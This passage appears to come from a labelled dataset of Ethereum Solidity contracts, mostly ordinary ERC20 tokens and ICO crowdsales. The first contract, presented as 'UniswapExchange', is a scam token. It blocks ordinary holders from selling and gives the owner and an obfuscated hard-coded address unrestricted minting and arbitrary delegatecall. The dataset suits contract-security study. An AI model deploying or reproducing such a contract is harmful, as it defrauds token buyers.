function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,321 |
pragma solidity ^0.4.24;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract EUSD is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function EUSD() {
balances[msg.sender] = 1000000000000000000000000000;
totalSupply = 1000000000000000000000000000;
name = "EUSD";
decimals = 18;
symbol = "EUSD";
unitsOneEthCanBuy = 2000000;
fundsWallet = msg.sender;
}
function() public payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 4,236 |
pragma solidity ^0.4.18;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract BTTSTokenInterface is ERC20Interface {
uint public constant bttsVersion = 100;
bytes public constant signingPrefix = "\x19Ethereum Signed Message:\n32";
bytes4 public constant signedTransferSig = "\x75\x32\xea\xac";
bytes4 public constant signedApproveSig = "\xe9\xaf\xa7\xa1";
bytes4 public constant signedTransferFromSig = "\x34\x4b\xcc\x7d";
bytes4 public constant signedApproveAndCallSig = "\xf1\x6f\x9b\x53";
event OwnershipTransferred(address indexed from, address indexed to);
event MinterUpdated(address from, address to);
event Mint(address indexed tokenOwner, uint tokens, bool lockAccount);
event MintingDisabled();
event TransfersEnabled();
event AccountUnlocked(address indexed tokenOwner);
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success);
function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce) public view returns (bytes32 hash);
function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success);
function unlockAccount(address tokenOwner) public;
function disableMinting() public;
function enableTransfers() public;
enum CheckResult {
Success,
NotTransferable,
AccountLocked,
SignerMismatch,
AlreadyExecuted,
InsufficientApprovedTokens,
InsufficientApprovedTokensForFees,
InsufficientTokens,
InsufficientTokensForFees,
OverflowError
}
}
contract BonusListInterface {
mapping(address => uint) public bonusList;
}
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract GazeCoinCrowdsale is SafeMath, Owned {
BTTSTokenInterface public bttsToken;
uint8 public constant TOKEN_DECIMALS = 18;
address public wallet = 0x8cD8baa410E9172b949f2c4433D3b5905F8606fF;
address public teamWallet = 0xb4eC550893D31763C02EBDa44Dff90b7b5a62656;
uint public constant TEAM_PERCENT_GZE = 30;
BonusListInterface public bonusList;
uint public constant TIER1_BONUS = 50;
uint public constant TIER2_BONUS = 20;
uint public constant TIER3_BONUS = 15;
uint public constant START_DATE = 1512921600;
uint public endDate = 1513872000;
uint public usdPerKEther = 489440;
uint public constant USD_CENT_PER_GZE = 35;
uint public constant CAP_USD = 35000000;
uint public constant MIN_CONTRIBUTION_ETH = 0.01 ether;
uint public contributedEth;
uint public contributedUsd;
uint public generatedGze;
uint public lockedAccountThresholdUsd = 7500;
mapping(address => uint) public accountEthAmount;
bool public precommitmentAdjusted;
bool public finalised;
event BTTSTokenUpdated(address indexed oldBTTSToken, address indexed newBTTSToken);
event WalletUpdated(address indexed oldWallet, address indexed newWallet);
event TeamWalletUpdated(address indexed oldTeamWallet, address indexed newTeamWallet);
event BonusListUpdated(address indexed oldBonusList, address indexed newBonusList);
event EndDateUpdated(uint oldEndDate, uint newEndDate);
event UsdPerKEtherUpdated(uint oldUsdPerKEther, uint newUsdPerKEther);
event LockedAccountThresholdUsdUpdated(uint oldEthLockedThreshold, uint newEthLockedThreshold);
event Contributed(address indexed addr, uint ethAmount, uint ethRefund, uint accountEthAmount, uint usdAmount, uint gzeAmount, uint contributedEth, uint contributedUsd, uint generatedGze, bool lockAccount);
function GazeCoinCrowdsale() public {
}
function setBTTSToken(address _bttsToken) public onlyOwner {
require(now <= START_DATE);
BTTSTokenUpdated(address(bttsToken), _bttsToken);
bttsToken = BTTSTokenInterface(_bttsToken);
}
function setWallet(address _wallet) public onlyOwner {
WalletUpdated(wallet, _wallet);
wallet = _wallet;
}
function setTeamWallet(address _teamWallet) public onlyOwner {
TeamWalletUpdated(teamWallet, _teamWallet);
teamWallet = _teamWallet;
}
function setBonusList(address _bonusList) public onlyOwner {
require(now <= START_DATE);
BonusListUpdated(address(bonusList), _bonusList);
bonusList = BonusListInterface(_bonusList);
}
function setEndDate(uint _endDate) public onlyOwner {
require(_endDate >= now);
EndDateUpdated(endDate, _endDate);
endDate = _endDate;
}
function setUsdPerKEther(uint _usdPerKEther) public onlyOwner {
require(now <= START_DATE);
UsdPerKEtherUpdated(usdPerKEther, _usdPerKEther);
usdPerKEther = _usdPerKEther;
}
function setLockedAccountThresholdUsd(uint _lockedAccountThresholdUsd) public onlyOwner {
require(now <= START_DATE);
LockedAccountThresholdUsdUpdated(lockedAccountThresholdUsd, _lockedAccountThresholdUsd);
lockedAccountThresholdUsd = _lockedAccountThresholdUsd;
}
function capEth() public view returns (uint) {
return CAP_USD * 10**uint(3 + 18) / usdPerKEther;
}
function gzeFromEth(uint ethAmount, uint bonusPercent) public view returns (uint) {
return usdPerKEther * ethAmount * (100 + bonusPercent) / 10**uint(3 + 2 - 2) / USD_CENT_PER_GZE;
}
function gzePerEth() public view returns (uint) {
return gzeFromEth(10**18, 0);
}
function lockedAccountThresholdEth() public view returns (uint) {
return lockedAccountThresholdUsd * 10**uint(3 + 18) / usdPerKEther;
}
function getBonusPercent(address addr) public view returns (uint bonusPercent) {
uint tier = bonusList.bonusList(addr);
if (tier == 1) {
bonusPercent = TIER1_BONUS;
} else if (tier == 2) {
bonusPercent = TIER2_BONUS;
} else if (tier == 3) {
bonusPercent = TIER3_BONUS;
} else {
bonusPercent = 0;
}
}
function () public payable {
require((now >= START_DATE && now <= endDate) || (msg.sender == owner && msg.value == MIN_CONTRIBUTION_ETH));
require(contributedEth < capEth());
require(msg.value >= MIN_CONTRIBUTION_ETH);
uint bonusPercent = getBonusPercent(msg.sender);
uint ethAmount = msg.value;
uint ethRefund = 0;
if (safeAdd(contributedEth, ethAmount) > capEth()) {
ethAmount = safeSub(capEth(), contributedEth);
ethRefund = safeSub(msg.value, ethAmount);
}
uint usdAmount = safeDiv(safeMul(ethAmount, usdPerKEther), 10**uint(3 + 18));
uint gzeAmount = gzeFromEth(ethAmount, bonusPercent);
generatedGze = safeAdd(generatedGze, gzeAmount);
contributedEth = safeAdd(contributedEth, ethAmount);
contributedUsd = safeAdd(contributedUsd, usdAmount);
accountEthAmount[msg.sender] = safeAdd(accountEthAmount[msg.sender], ethAmount);
bool lockAccount = accountEthAmount[msg.sender] > lockedAccountThresholdEth();
bttsToken.mint(msg.sender, gzeAmount, lockAccount);
if (ethAmount > 0) {
wallet.transfer(ethAmount);
}
Contributed(msg.sender, ethAmount, ethRefund, accountEthAmount[msg.sender], usdAmount, gzeAmount, contributedEth, contributedUsd, generatedGze, lockAccount);
if (ethRefund > 0) {
msg.sender.transfer(ethRefund);
}
}
function addPrecommitment(address tokenOwner, uint ethAmount, uint bonusPercent) public onlyOwner {
require(!finalised);
uint usdAmount = safeDiv(safeMul(ethAmount, usdPerKEther), 10**uint(3 + 18));
uint gzeAmount = gzeFromEth(ethAmount, bonusPercent);
uint ethRefund = 0;
generatedGze = safeAdd(generatedGze, gzeAmount);
contributedEth = safeAdd(contributedEth, ethAmount);
contributedUsd = safeAdd(contributedUsd, usdAmount);
accountEthAmount[tokenOwner] = safeAdd(accountEthAmount[tokenOwner], ethAmount);
bool lockAccount = accountEthAmount[tokenOwner] > lockedAccountThresholdEth();
bttsToken.mint(tokenOwner, gzeAmount, lockAccount);
Contributed(tokenOwner, ethAmount, ethRefund, accountEthAmount[tokenOwner], usdAmount, gzeAmount, contributedEth, contributedUsd, generatedGze, lockAccount);
}
function addPrecommitmentAdjustment(address tokenOwner, uint gzeAmount) public onlyOwner {
require(now > endDate || contributedEth >= capEth());
require(!finalised);
uint ethAmount = 0;
uint usdAmount = 0;
uint ethRefund = 0;
generatedGze = safeAdd(generatedGze, gzeAmount);
bool lockAccount = accountEthAmount[tokenOwner] > lockedAccountThresholdEth();
bttsToken.mint(tokenOwner, gzeAmount, lockAccount);
precommitmentAdjusted = true;
Contributed(tokenOwner, ethAmount, ethRefund, accountEthAmount[tokenOwner], usdAmount, gzeAmount, contributedEth, contributedUsd, generatedGze, lockAccount);
}
function roundUp(uint a) public pure returns (uint) {
uint multiple = 10**uint(TOKEN_DECIMALS);
uint remainder = a % multiple;
if (remainder > 0) {
return safeSub(safeAdd(a, multiple), remainder);
}
}
function finalise() public onlyOwner {
require(!finalised);
require(precommitmentAdjusted);
require(now > endDate || contributedEth >= capEth());
uint total = safeDiv(safeMul(generatedGze, 100), safeSub(100, TEAM_PERCENT_GZE));
uint amountTeam = safeDiv(safeMul(total, TEAM_PERCENT_GZE), 100);
generatedGze = safeAdd(generatedGze, amountTeam);
uint rounded = roundUp(generatedGze);
if (rounded > generatedGze) {
uint dust = safeSub(rounded, generatedGze);
generatedGze = safeAdd(generatedGze, dust);
amountTeam = safeAdd(amountTeam, dust);
}
bttsToken.mint(teamWallet, amountTeam, false);
bttsToken.disableMinting();
finalised = true;
}
} | 1 | 3,674 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply = 90000000 * 10**18;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ChargCoinContract is StandardToken, Ownable {
string public standard = "Charg Coin";
string public name = "Charg Coin";
string public symbol = "CHARG";
uint public decimals = 18;
address public multisig = 0x0fA3d47B2F9C01396108D81aa63e4F20d4cd7994;
uint PRICE = 500;
struct ContributorData {
uint contributionAmount;
uint tokensIssued;
}
function ChargCoinContract() {
balances[msg.sender] = totalSupply;
}
mapping(address => ContributorData) public contributorList;
uint nextContributorIndex;
mapping(uint => address) contributorIndexes;
state public crowdsaleState = state.pendingStart;
enum state { pendingStart, crowdsale, crowdsaleEnded }
event CrowdsaleStarted(uint blockNumber);
event CrowdsaleEnded(uint blockNumber);
event ErrorSendingETH(address to, uint amount);
event MinCapReached(uint blockNumber);
event MaxCapReached(uint blockNumber);
uint public constant BEGIN_TIME = 1506406004;
uint public constant END_TIME = 1510790400;
uint public minCap = 1 ether;
uint public maxCap = 70200 ether;
uint public ethRaised = 0;
uint public tokenTotalSupply = 90000000 * 10**decimals;
uint crowdsaleTokenCap = 35100000 * 10**decimals;
uint foundersAndTeamTokens = 9000000 * 10**decimals;
uint slushFundTokens = 45900000 * 10**decimals;
bool foundersAndTeamTokensClaimed = false;
bool slushFundTokensClaimed = false;
uint nextContributorToClaim;
mapping(address => bool) hasClaimedEthWhenFail;
function() payable {
require(msg.value != 0);
require(crowdsaleState != state.crowdsaleEnded);
bool stateChanged = checkCrowdsaleState();
if(crowdsaleState == state.crowdsale) {
createTokens(msg.sender);
} else {
refundTransaction(stateChanged);
}
}
function checkCrowdsaleState() internal returns (bool) {
if (ethRaised >= maxCap && crowdsaleState != state.crowdsaleEnded) {
crowdsaleState = state.crowdsaleEnded;
CrowdsaleEnded(block.number);
return true;
}
if(now >= END_TIME) {
crowdsaleState = state.crowdsaleEnded;
CrowdsaleEnded(block.number);
return true;
}
if(now >= BEGIN_TIME && now < END_TIME) {
if (crowdsaleState != state.crowdsale) {
crowdsaleState = state.crowdsale;
CrowdsaleStarted(block.number);
return true;
}
}
return false;
}
function refundTransaction(bool _stateChanged) internal {
if (_stateChanged) {
msg.sender.transfer(msg.value);
} else {
revert();
}
}
function createTokens(address _contributor) payable {
uint _amount = msg.value;
uint contributionAmount = _amount;
uint returnAmount = 0;
if (_amount > (maxCap - ethRaised)) {
contributionAmount = maxCap - ethRaised;
returnAmount = _amount - contributionAmount;
}
if (ethRaised + contributionAmount > minCap && minCap > ethRaised) {
MinCapReached(block.number);
}
if (ethRaised + contributionAmount == maxCap && ethRaised < maxCap) {
MaxCapReached(block.number);
}
if (contributorList[_contributor].contributionAmount == 0){
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex += 1;
}
contributorList[_contributor].contributionAmount += contributionAmount;
ethRaised += contributionAmount;
uint256 tokenAmount = calculateEthToChargcoin(contributionAmount);
if (tokenAmount > 0) {
transferToContributor(_contributor, tokenAmount);
contributorList[_contributor].tokensIssued += tokenAmount;
}
if (!multisig.send(msg.value)) {
revert();
}
}
function transferToContributor(address _to, uint256 _value) {
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
}
function calculateEthToChargcoin(uint _eth) constant returns(uint256) {
uint tokens = _eth.mul(getPrice());
uint percentage = 0;
if (ethRaised > 0)
{
percentage = ethRaised * 100 / maxCap;
}
return tokens + getStageBonus(percentage, tokens) + getAmountBonus(_eth, tokens);
}
function getStageBonus(uint percentage, uint tokens) constant returns (uint) {
uint stageBonus = 0;
if (percentage <= 10) stageBonus = tokens * 60 / 100;
else if (percentage <= 50) stageBonus = tokens * 30 / 100;
else if (percentage <= 70) stageBonus = tokens * 20 / 100;
else if (percentage <= 90) stageBonus = tokens * 15 / 100;
else if (percentage <= 100) stageBonus = tokens * 10 / 100;
return stageBonus;
}
function getAmountBonus(uint _eth, uint tokens) constant returns (uint) {
uint amountBonus = 0;
if (_eth >= 3000 ether) amountBonus = tokens * 13 / 100;
else if (_eth >= 2000 ether) amountBonus = tokens * 12 / 100;
else if (_eth >= 1500 ether) amountBonus = tokens * 11 / 100;
else if (_eth >= 1000 ether) amountBonus = tokens * 10 / 100;
else if (_eth >= 750 ether) amountBonus = tokens * 9 / 100;
else if (_eth >= 500 ether) amountBonus = tokens * 8 / 100;
else if (_eth >= 300 ether) amountBonus = tokens * 75 / 1000;
else if (_eth >= 200 ether) amountBonus = tokens * 7 / 100;
else if (_eth >= 150 ether) amountBonus = tokens * 6 / 100;
else if (_eth >= 100 ether) amountBonus = tokens * 55 / 1000;
else if (_eth >= 75 ether) amountBonus = tokens * 5 / 100;
else if (_eth >= 50 ether) amountBonus = tokens * 45 / 1000;
else if (_eth >= 30 ether) amountBonus = tokens * 4 / 100;
else if (_eth >= 20 ether) amountBonus = tokens * 35 / 1000;
else if (_eth >= 15 ether) amountBonus = tokens * 3 / 100;
else if (_eth >= 10 ether) amountBonus = tokens * 25 / 1000;
else if (_eth >= 7 ether) amountBonus = tokens * 2 / 100;
else if (_eth >= 5 ether) amountBonus = tokens * 15 / 1000;
else if (_eth >= 3 ether) amountBonus = tokens * 1 / 100;
else if (_eth >= 2 ether) amountBonus = tokens * 5 / 1000;
return amountBonus;
}
function getPrice() constant returns (uint result) {
return PRICE;
}
function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner {
require(crowdsaleState != state.crowdsaleEnded);
require(ethRaised < minCap);
address currentParticipantAddress;
uint contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++){
currentParticipantAddress = contributorIndexes[nextContributorToClaim];
if (currentParticipantAddress == 0x0) return;
if (!hasClaimedEthWhenFail[currentParticipantAddress]) {
contribution = contributorList[currentParticipantAddress].contributionAmount;
hasClaimedEthWhenFail[currentParticipantAddress] = true;
balances[currentParticipantAddress] = 0;
if (!currentParticipantAddress.send(contribution)){
ErrorSendingETH(currentParticipantAddress, contribution);
}
}
nextContributorToClaim += 1;
}
}
function setMultisigAddress(address _newAddress) onlyOwner {
multisig = _newAddress;
}
} | 1 | 3,516 |
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
